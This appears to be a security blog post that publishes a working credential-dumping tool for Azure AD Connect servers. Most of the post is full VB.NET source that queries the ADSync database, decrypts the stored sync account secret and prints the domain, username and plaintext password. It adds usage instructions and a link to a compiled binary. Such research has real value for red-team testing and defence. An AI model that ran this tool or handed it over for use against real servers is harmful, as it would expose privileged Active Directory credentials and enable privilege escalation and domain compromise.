Azure AD Connect Database Exploit (Priv Esc)

The Azure AD Connect service is essentially responsible for synchronizing things between your local AD domain, and the Azure based domain. However, to do this it needs privileged credentials for your local domain so that it can perform various operations such as syncing passwords etc. I recently discovered this great video that explains where it stores these credentials and how to decrypt them.

TL;DR: Its possible to just run some simple .NET or Powershell code on the server where Azure AD Connect is installed and instantly get plain text credentials for whatever AD account it is set to use!

Initially I thought I would have to repeat all of the steps they performed in the video (decompiling and watching API calls etc) to produce my own code that exploits this… but it turns out the presenter (Fox-It) was kind enough to provide this Github repo demonstrating exactly how to perform such an attack in C#.

There’s also this blog post by XPN InfoSec that provides more info as well as a working Powershell alternative.

Anyway, I thought I’d also have a go at writing my own version and compile it so its super easy to use and also gives you the option to choose between attacking an SQLExpress “LocalDb” database or a full fat SQL Server instance. Fox-It mentioned he had a download link for his compiled program in the Github readme, but I couldn’t get it to download (he also mentioned the way credentials are stored has changed recently so his code might not work now). I knew the Powershell script worked fine after changing the SQL connection string when I tested it myself, so I used that as my base and wrote a similar utility in VB.NET.

There’s a download link for my compiled program at the bottom of this page but here’s the code for anyone interested:

Imports Microsoft.DirectoryServices.MetadirectoryServices.Cryptography
Imports System.Data.SqlClient
Imports System.Xml
Module MainModule

    Sub Main()
        Try
            Console.WriteLine(Environment.NewLine & "======================" & Environment.NewLine &
                              "AZURE AD SYNC CREDENTIAL DECRYPTION TOOL" & Environment.NewLine &
                              "Based on original code from: https://github.com/fox-it/adconnectdump" & Environment.NewLine &
                              "======================" & Environment.NewLine)

            Dim SqlConnectionString As String = "Data Source=(LocalDB)\\.\\ADSync;Initial Catalog=ADSync;Connect Timeout=20"

            If My.Application.CommandLineArgs.Count > 0 AndAlso String.Compare(My.Application.CommandLineArgs(0), "-FullSql", True) = 0 Then
                SqlConnectionString = "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"
            End If

            Dim KeyId As UInteger
            Dim InstanceId As Guid
            Dim Entropy As Guid
            Dim ConfigXml As String
            Dim EncryptedPasswordXml As String

            Using SqlConn As New SqlConnection(SqlConnectionString)
                Try
                    Console.WriteLine("Opening database connection...")
                    SqlConn.Open()
                    Using SqlCmd As New SqlCommand("SELECT instance_id, keyset_id, entropy FROM mms_server_configuration;", SqlConn)
                        Console.WriteLine("Executing SQL commands...")
                        Using Reader As SqlDataReader = SqlCmd.ExecuteReader
                            Reader.Read()
                            InstanceId = DirectCast(Reader("instance_id"), Guid)
                            KeyId = CUInt(Reader("keyset_id"))
                            Entropy = DirectCast(Reader("entropy"), Guid)
                        End Using
                    End Using
                    Using SqlCmd As New SqlCommand("SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'", SqlConn)
                        Using Reader As SqlDataReader = SqlCmd.ExecuteReader
                            Reader.Read()
                            ConfigXml = CStr(Reader("private_configuration_xml"))
                            EncryptedPasswordXml = CStr(Reader("encrypted_configuration"))
                        End Using
                    End Using
                Catch Ex As Exception
                    Console.WriteLine("Error reading from database: " & Ex.Message)
                    Exit Sub
                Finally
                    Console.WriteLine("Closing database connection...")
                    SqlConn.Close()
                End Try
                Try
                    Console.WriteLine("Decrypting XML...")
                    Dim CryptoManager As New KeyManager
                    CryptoManager.LoadKeySet(Entropy, InstanceId, KeyId)
                    Dim Decryptor As Key = Nothing
                    CryptoManager.GetActiveCredentialKey(Decryptor)
                    Dim PlainTextPasswordXml As String = Nothing
                    Decryptor.DecryptBase64ToString(EncryptedPasswordXml, PlainTextPasswordXml)
                    Console.WriteLine("Parsing XML...")
                    Dim Domain As String = String.Empty
                    Dim Username As String = String.Empty
                    Dim Password As String = String.Empty
                    Dim XmlDoc As New XmlDocument
                    XmlDoc.LoadXml(PlainTextPasswordXml)
                    Dim XmlNav As XPath.XPathNavigator = XmlDoc.CreateNavigator
                    Password = XmlNav.SelectSingleNode("//attribute").Value
                    XmlDoc.LoadXml(ConfigXml)
                    XmlNav = XmlDoc.CreateNavigator
                    Domain = XmlNav.SelectSingleNode("//parameter[@name='forest-login-domain']").Value
                    Username = XmlNav.SelectSingleNode("//parameter[@name='forest-login-user']").Value
                    Console.WriteLine("Finished!" &
                                      Environment.NewLine & Environment.NewLine &
                                      "DECRYPTED CREDENTIALS:" & Environment.NewLine &
                                      "Username: " & Username & Environment.NewLine &
                                      "Password: " & Password & Environment.NewLine &
                                      "Domain: " & Domain & Environment.NewLine)
                Catch ex As Exception
                    Console.WriteLine("Error decrypting: " & ex.Message)
                End Try
            End Using
        Catch ex As Exception
            Console.WriteLine("Unexpected error: " & ex.Message)
        End Try
    End Sub

End Module

and when we run it on a machine that has the Azure AD Connect database on it, we get the AD account’s credentials in plain text (obviously I’ve blurred out the actual password, but you get the idea):

Usage:

AdDecrypt.exe (with no parameters)

Will attempt to access the ADSync database on the default SQLExpress “LocalDb” instance

AdDecrypt.exe -FullSQL

Will attempt to access the ADSync database on a full fat MS SQL instance using windows authentication (the actual connection string used is: “Server=LocalHost;Database=ADSync;Trusted_Connection=True;” )

This program must be run while the AD Sync Bin folder is your “working directory”, or has been added to the PATH variable. An easy way to do this is simply navigate to the folder in Powershell or Command Prompt (i.e cd “C:\Program Files\Microsoft Azure AD Sync\Bin”), and then run the program by typing the full path to wherever you have stored it. You also need to make sure the mcrypt.dll from the download link is in the same directory the program is in. Failure to do either of these things will result in a Module Not Found error.

Download link: https://github.com/VbScrub/AdSyncDecrypt/releases

Hope that helps someone 🙂 and again a big shout out to the guys at Fox-IT that figured all of this out originally, and the guys at XPN InfoSec who put together the Powershell script and some further explanation.